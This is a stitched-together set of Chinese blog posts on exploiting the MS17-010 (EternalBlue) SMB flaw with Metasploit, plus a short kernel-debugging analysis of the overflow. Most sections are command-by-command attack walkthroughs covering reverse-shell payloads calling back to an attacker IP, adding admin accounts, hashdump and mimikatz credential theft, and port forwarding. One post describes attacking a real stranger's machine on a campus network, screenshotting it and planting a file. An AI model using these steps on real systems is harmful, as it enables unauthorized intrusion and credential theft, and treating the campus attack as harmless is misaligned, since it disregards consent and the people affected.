ms17010漏洞复现,ms17010漏洞修复
MSF利用ms17_010实验
该漏洞具有非常大的危害性,这个漏洞导致攻击者在目标系统上可以执行任意代,包括格式化电脑删除重要的内容。
当然漏洞非常的古老了,防范只需要打个补丁,再不济关闭445端口。
首先打开终端输入
curl msfinstall chmod 755 msfinstall ./msfinstall
安装成功就能指令msfconsole来使用了
MSF功能不止有利用ms17010,所以我们要选择对应的模块,其中利用到
auxiliary/scanner/smb/smb_ms17_010扫描工具模块
exploit/windows/smb/ms17_010_eternalblue利用工具模块
由于我实现环境是在校园网环境中,所以也就对校园网进行网段的扫描,我进入是我们的校园无线网络,连接不需要获得认证上网功能就可以实现漏洞攻击。
首先是查看自己IP
再利用扫描工具来对网段任何的B段进行扫描
扫出结果10.120.65.230IP存在漏洞风险,使用工具进行攻击
其中rhost为目标主机ip,lhost为自身监听ip
显示攻击成功了,这个时候,已经可以对被攻击者为所欲为了
打中后可以输入help来查看能执行的操作
screenshot来进行截图屏幕
发现在打游戏,偷偷的不要打扰到别人哦,上传一个txt提示他存在漏洞需要修复打补丁了呢,实验成功,点到为止哦。
[工具编写][漏洞研究]MS17-010分析-上
win7 sp1 32bits srv.sys 6.1.7601.17514
srvnet.sys 6.1.7601.17514
PS:这两个文件在 C:\Windows\System32\drivers 下
windbg双机调试
该漏洞主要是利用smb1在处理一个结构体转换过程中,错误计算了大小,导致的溢出。Nasa的工具集的EternalBlue利用这个溢出,对后面相连的一个内存池做了覆盖,并利用堆喷射的技巧,精准覆盖了0xffdff000的可执行内存,这个内存本来是系统预留用于存储一些配置信息的(Win7x86中是这个地址,Win7x64中是0xffffffffffd00010),最终在srvnet!SrvNetWskReceiveComplete这个函数中触发了shellcode。
溢出漏洞的函数链 :
srv!SrvSmbOpen2 - srv!SrvOs2FeaListToNt - srv!SrvOs2FeaListSizeToNt - srv!SrvOs2FeaToNt
3.下以下几个断点
bu srv!SrvOs2FeaListSizeToNt 内存长度计算出错的函数
bu srv!SrvOs2FeaToNt 内存实际溢出的函数
bu srv!SrvOs2FeaListToNt 上层函数
bu srv!SrvSmbOpen2 接收数据的地方
10. SrvOs2FeaListSizeToNt 的函数分析如下图
关键点在于 mov word ptr [eax], si 这个汇编语句,仅赋值了低位数据 :
11.下个断点,看一下poc的结构体分布。
本来后面想研究一下它怎么实现的堆布局,以及覆盖这部分内存是什么结构体,以及shellcode写入的包是在哪个部分的,发现自个有点搞不动了,看几天书回忆回忆再来弄。
之前分析wanacry的时候感觉挺简单的,内核分析感觉像是在盲人摸象,每一次观察都能有新的东西,但是又始终无法有一个完整清晰的轮廓。
一份好心人的windows源码
一份可以让你在三环弄明白大致原理的分析文章
一份隐藏了利用细节,但是展现详细调试细节的文章
ms17010漏洞利用msf | 2019-03-27 ms070-
0x01 实验环境
攻击机:kali linux
ip:10.10.10.131
目标机:windows 2008 R2
ip:10.10.10.132
0x02 配置exploit
msf use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) set rhost 10.10.10.132
rhost = 10.10.10.132
查看选项
msf exploit(ms17_010_eternalblue) show options
设置目标机的IP,其他选项默认就可以;
注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;
0x03 配置payload
payload只需要配置监听返回会话的IP;
msf exploit(ms17_010_eternalblue) set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) set lhost 10.10.10.131
lhost = 10.10.10.131
0x04 开始攻击
警告:攻击过程可能导致目标系统宕机重启,谨慎操作!
msf exploit(ms17_010_eternalblue) exploit
成功获得session。
shell 进入主机操作
内网渗透之ms17-010
在内网渗透时,通常挂上代理后。在内网首先会打啵ms17-010。在实战中,使用msf的ms17-010模块,数次没有反弹成功。基于此,到底如何成功利用ms17-010
在msf成功接收session之后,添加路由
然后使用ms17-010相关的模块进行探测是否存在该漏洞。
尝试利用
LHOST配置为公网IP
可以看到success。漏洞是可以利用的,但始终没有session。不知道什么原因。
参考资料: 利用公网Msf+MS17010跨网段攻击内网
笔者在本地搭建环境,也是同样的结果。尝试更改payload为
bind_tcp攻击者去连接,容易被防火墙和杀毒发现
可以成功生成session,但并不稳定,且在run的过程中非常容易导致本来的session died
在实际使用msf的ms17_010_eternalblue模块时,笔者观察到有几个弊端。
1.session 很容易died
2.ms17_010_eternalblue模块利用起来非常耗时
3.无法利用成功
有大佬推荐使用原始的fb.py。但配置起来感觉麻烦一些。
所以。笔者从i春秋上找到一个轻便的方程式漏洞利用工具。
参考资料: 萌新初试MS17-010方程式漏洞
工具使用起来很简单。只需要msfvenom生成一个x64或x86的dll文件,替换该工具下的x64.dll或x86.dll 。再依次点击Eternalblue、Doublepulsar 的Attack即可。在Attack的时候,调用x64.dll动态链接库,反弹到公网IP。原理和fb.py一样。
笔者通过ew代理进内网后,在跳板机上上传了方程式漏洞利用工具、网安永恒之蓝检测工具。两者结合,威力巨大。成功利用ms17-010
对于windows server 2008 ,msfvenom生成x64.dll文件
msf配置
将该x64.dll替换到方程式利用工具下面。
只需要更换目标的IP,就可以获取session。
对于windows server 2003 ,msfvenom生成x86.dll文件
msf配置
进一步利用的一些命令
实际测试发现这种session非常稳定。不会轻易go die
实际测试server 2003的ms17-010时,有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。
所以笔者选择一种稳定可靠一些的办法。
先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]
参考资料 Metasploit 「永恒之蓝」两种模块的利弊
system的权限可以直接激活guest用户添加管理员组。
注意:使用ms17_010_psexec需要指定管理员的用户名、密码,否则没有session
同样的操作,载入mimikatz,读取管理员密码。
ms17010漏洞的简单利用
(第一次在发表文章,没啥经验,分享一些学习经验。大佬们多多包涵,也希望大家能够指出我的错误。)
靶机:windows7 x64? IP:192.168.1.5
攻击机:Kali Rolling (2019.3) x64 IP:192.168.1.3
两台主机在同一网段内;win7关闭防火墙并且开启445端口。
1、使用ipconfig/ifconfig分别查看win7和kali的ip。
2、打开msf工具
每次开启都会有不同的界面
3、使用search命令搜索ms17_010
4、选择模块和设置条件
使用use来选择第三个模块,可以直接 use 2,也可以打全
然后用set来设置靶机IP set rhost 192.168.1.5
设置本机IP set lhost 192.168.1.3
设置监听端口 set lport 8888 不设置则默认4444端口
设置payload set payload windows/x64/meterpreter/reverse_tcp
还有另外一个payload能用于本实验,具体可以 show payloads 查看
最后,可以使用show options检查所有信息
5、开始渗透 run
稍等片刻 看到win则成功创建会话
6、成功之后,可以开启Windows7的摄像头,截图等等
具体可以用help查看
1、关闭445端口
2、打开防火墙,安装安全软件
3、安装对应补丁,这里就不放链接了
关闭445端口的方法:
1)打开控制面板----Windows防火墙----高级设置
2)点击新建规则,设置端口号的规则并且命名(如图)
msf工具虽然强大,但只能用于已知的并且已提交模块的漏洞。要理解漏洞原理,理解如何使用漏洞,甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。
MS17-010远程溢出漏洞(CVE-2017-0143)
Nmap :端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能
mestasploit :开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件
漏洞原理简述
MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理 FEA (File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数 srv!SrvOs2FeaListToNt 在将 FEA list转换成 NTFEA (Windows NT FEA) list前会调用 srv!SrvOs2FeaListSizeToNt 去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
曾经NSA工具箱泄露时,我们已经对永恒之蓝这个工具的使用做过讲解! 【NSA黑客工具包】Windows 0day验证实验 。
然而,该工具的使用环境比较苛刻,而且操作较为复杂,现在msf已经加入该系列工具,使用方法更便捷。接下来,就开始操作吧!
打开Kali终端,使用Nmap对目标机开放端口进行扫描
目标机开放了 135 139 445 3389 等端口,且目标机系统为Windows7,
我们使用用扫描模块,判断该漏洞是否可利用
终端内输入
打开 metasploite 命令行客户端,使用 search 命令查找ms17-010漏洞的相关模块
如下是相关可用模块
使用 use 命令选择我们要使用的扫描模块
在运行该模块之前,需要设置相关选项,我们使用 show options 查看配置信息
需要设置目标地址,设置命令:
设置完成后,执行 run 或 exploit 命令,等待执行结果
从上一步骤可以看出,该漏洞是可被利用的,接下来,我们祭出漏洞利用模块
步骤同上,查看配置信息,并设置标记为yes的属性
show options
目标机host地址:172.16.12.2
set RHOST 172.16.12.2
之后,选择载荷 payload ,也就是 shellcode ,此处我们选择回连至控制端 shell 的 payload
同样,载荷也需要进行配置, show options 查看配置信息
配置中缺少本地主机 RHOST,设置一下
完成配置后,运行 exploit 或者 run ,开始执行漏洞利用模块
成功获取来自目标主机的Session会话
我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能
运行 sysinfo 查看目标机器相关信息
执行 help 命令可以帮助我们了解meterpreter有哪些功能
接下来,我们获取目标机hash值
执行 hashdump
mimikatz 是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等, meterpreter 中正集成了这款工具。
执行 load mimikatz 即可加载该工具,其命令与 mimikatz 一样
运行命令 msv ,导出hash
然后执行 kerberos 即可获得目标机账号密码
获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?
我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接
运行命令
此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上
如此,我们只要执行
即可登陆远程目标机器
通过本次实验,我们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其他使用案例。
通过结合实例去学习MSF的使用,反复训练,相信大家一定能熟能生巧,彻底掌握这一工具。